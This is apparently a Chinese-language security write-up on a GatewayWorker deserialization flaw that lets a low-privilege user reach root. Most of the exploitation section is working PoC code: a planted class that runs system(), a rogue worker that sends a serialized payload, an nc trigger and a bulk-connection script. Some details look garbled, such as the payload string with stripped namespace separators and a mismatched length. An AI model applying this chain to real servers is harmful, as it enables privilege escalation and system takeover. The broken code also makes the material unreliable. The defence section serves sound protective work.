利用GatewayWorker反序列化漏洞实现提权
字数 1470 2025-09-23 19:27:46
GatewayWorker反序列化漏洞提权技术分析
漏洞概述
GatewayWorker框架存在反序列化漏洞,攻击者可以利用该漏洞在特定条件下实现权限提升。该漏洞主要存在于GatewayWorker v3.1.0版本中,在v3.1.2版本后由于负载均衡策略变更,利用难度有所增加但仍存在风险。
漏洞背景
GatewayWorker是基于Workerman开发的一个项目框架,用于快速开发TCP长连接应用,如即时通讯、推送服务等。它采用经典的Gateway和Worker进程模型:
- Gateway进程:负责维持客户端连接并转发数据
- BusinessWorker进程:处理实际业务逻辑(默认调用Events.php)
漏洞发现过程
- 发现目标服务器运行着root权限的PHP进程(GatewayWorker)
- 进程运行的PHP文件具有www用户可修改权限
- 常规提权方法无效后,转向代码审计
漏洞原理
GatewayWorker框架中存在不安全的反序列化操作点:
vendor/workerman/gateway-worker/src/Gateway.php中的onWorkerMessage函数处理worker发往gateway的指令- 其中"session合并"指令会调用
sessionDecode函数 vendor/workerman/gateway-worker/src/Lib/Context.php中的sessionDecode直接使用unserialize()函数
利用条件
- 能够以低权限用户身份修改vendor目录下的文件
- GatewayWorker以root权限运行
- 能够注册自定义worker或触发已有worker发送恶意指令
详细利用步骤
1. 环境准备
以root权限运行GatewayWorker demo:
php start.php start
2. 准备恶意类文件
创建Foo.php并放置在vendor/workerman/gateway-worker/src/目录下:
<?php
class Foo {
public function __construct() {
// 执行系统命令,例如创建文件
system('echo "exploited" > /tmp/exploit.txt');
}
}
3. 创建恶意worker (poc.php)
<?php
require_once __DIR__ . '/vendor/autoload.php';
use GatewayWorker\BusinessWorker;
use GatewayWorker\Lib\Gateway;
$worker = new BusinessWorker();
$worker->name = 'ExploitWorker';
$worker->count = 1;
$worker->onWorkerStart = function() {
// 构造恶意序列化数据
$payload = 'O:20:"FooGatewayWorkerFoo":0:{}';
// 发送给gateway触发反序列化
Gateway::sendToCurrentClient($payload);
};
BusinessWorker::runAll();
4. 注册恶意worker
php poc.php start
5. 触发漏洞
根据Gateway协议类型选择触发方式:
- 对于TCP协议:
nc 127.0.0.1 8282 -v
- 对于WebSocket协议:使用WebSocket客户端连接
6. 批量触发(针对v3.1.2+版本)
由于v3.1.2+版本默认使用轮询负载均衡,需要编写批量请求脚本:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Workerman\Worker;
use Workerman\Connection\AsyncTcpConnection;
$worker = new Worker();
$worker->count = 4;
$worker->onWorkerStart = function() {
for ($i = 0; $i < 100; $i++) {
$conn = new AsyncTcpConnection('tcp://127.0.0.1:8282');
$conn->connect();
}
};
Worker::runAll();
技术要点
- 反序列化触发点:通过worker向gateway发送特定指令触发
sessionDecode中的unserialize() - 类自动加载机制:当反序列化遇到未加载的类时,会触发autoload机制
- 文件包含利用:通过控制vendor目录下的类文件实现代码执行
- 权限提升:由于GatewayWorker以root运行,恶意代码也以root权限执行
防御措施
- 升级到最新版本GatewayWorker
- 限制vendor目录的写入权限
- 实现自定义的session序列化/反序列化方法
- 使用安全的反序列化函数或添加签名验证
- 对worker注册进行身份验证
总结
该漏洞利用链如下:
- 低权限注册恶意worker
- 客户端请求触发恶意worker
- 恶意worker发送序列化payload
- Gateway反序列化时触发autoload
- 加载恶意类文件实现代码执行
- 以root权限完成提权
参考链接
- GatewayWorker官方文档:https://www.workerman.net/doc/gateway-worker/